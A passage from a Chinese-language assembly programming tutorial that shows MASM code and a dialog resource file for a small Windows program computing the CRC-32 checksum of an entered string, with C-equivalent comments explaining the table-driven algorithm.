            .ELSEIF eax == IDC_BUTTON_OPEN || eax == IDOK        
                ;******************************************
                ;关键代码开始:(当当当当……)
                ;******************************************
                ;取得用户输入的字符串:
                invoke GetDlgItemText, hWnd, IDC_EDIT_INPUT, addr szBuffer, 255

                ;初始化crc32table:
                invoke init_crc32table

                ;下面赋值给寄存器ebx,以便进行crc32转换:
                ;EBX是待转换的字符串的首地址:
                lea ebx, szBuffer

                ;进行crc32转换:
                invoke arraycrc32

                ;格式化输出:
                invoke wsprintf, addr szText, addr szTemplate, addr szBuffer, eax

                ;好啦,让我们显示结果:
                invoke MessageBox, hWnd, addr szText, addr szTitle, MB_OK
            .ENDIF
        .endif
    .ELSE
        mov eax,FALSE
        ret
    .ENDIF
    mov eax,TRUE
    ret
WndProc endp

;**********************************************************
;函数功能:生成CRC-32表
;**********************************************************
init_crc32table    proc

        ;如果用C语言来表示,应该如下:
        ;
        ;    for (i = 0; i < 256; i++)
        ;    {
        ;        crc = i;
        ;        for (j = 0; j < 8; j++)
        ;        {
        ;            if (crc & 1)
        ;                crc = (crc >> 1) ^ 0xEDB88320;
        ;            else
        ;                crc >>= 1;
        ;        }
        ;        crc32tbl[i] = crc;
        ;    }
        ;
        ;呵呵,让我们把上面的语句改成assembly的:

        mov     ecx, 256        ; repeat for every DWORD in table
        mov     edx, 0EDB88320h
$BigLoop:
        lea     eax, [ecx-1]
        push    ecx
        mov     ecx, 8
$SmallLoop:
        shr     eax, 1
        jnc     @F
        xor     eax, edx
@@:
        dec     ecx
        jne     $SmallLoop
        pop     ecx
        mov     [crc32tbl+ecx*4-4], eax
        dec     ecx
        jne     $BigLoop

        ret
init_crc32table      endp


;**************************************************************
;函数功能:计算CRC-32
;**************************************************************
arraycrc32    proc

        ;计算 CRC-32 ,我采用的是把整个字符串当作一个数组,然后把这个数组的首地址赋值给 EBX,把数组的长度赋值给 ECX,然后循环计算,返回值(计算出来的 CRC-32 值)储存在 EAX 中:
        ;
        ; 参数:
        ;       EBX = address of first byte
        ; 返回值:
        ;       EAX = CRC-32 of the entire array
        ;       EBX = ?
        ;       ECX = 0
        ;       EDX = ?

        mov     eax, -1 ; 先初始化eax
        or      ebx, ebx
        jz      $Done   ; 避免出现空指针
@@:
        mov     dl, [ebx]
        or      dl, dl
        je      $Done    ;判断是否对字符串扫描完毕
        
        ;这里我用查表法来计算 CRC-32 ,因此非常快速:
        ;因为这是assembly代码,所以不需要给这个过程传递参数,只需要把oldcrc赋值给EAX,以及把byte赋值给DL:
        ;
        ; 在C语言中的形式:
        ;
        ;   temp = (oldcrc ^ abyte) & 0x000000FF;
        ;   crc  = (( oldcrc >> 8) & 0x00FFFFFF) ^ crc32tbl[temp];
        ;
        ; 参数:
        ;       EAX = old CRC-32
        ;        DL = a byte
        ; 返回值:
        ;       EAX = new CRC-32
        ;       EDX = ?
              
        xor     dl, al
        movzx   edx, dl
        shr     eax, 8
        xor     eax, [crc32tbl+edx*4]
        
        inc     ebx        
        jmp     @B

$Done:
        not     eax
        ret
arraycrc32      endp

end main
;***************************    over    ***************************************
;by LC


下面是它的.rc文件:

#include "resource.h"

#define IDC_BUTTON_OPEN    3000
#define IDC_EDIT_INPUT 3001
#define IDC_STATIC -1

LC_DIALOG DIALOGEX 10, 10, 195, 60
STYLE DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION |
    WS_SYSMENU
CAPTION "lc’s assembly framework"
FONT 9, "宋体", 0, 0, 0x0
BEGIN
    LTEXT           "请输入一个字符串(区分大小写):",IDC_STATIC,11,7,130,10
    EDITTEXT        IDC_EDIT_INPUT,11,20,173,12,ES_AUTOHSCROLL
    DEFPUSHBUTTON   "Ca&lc",IDC_BUTTON_OPEN,71,39,52,15
END



如果你能够完全理解本节的内容,那么请留意我的下一讲,我将具体介绍如何运用CRC-32对你的文件进行保护。(呵呵,好戏在后头……)

 

(本文来源:http://laoluoc.yeah.net/


 

   

                                                       back.gif (341 bytes)       up.gif (335 bytes)         next.gif (337 bytes)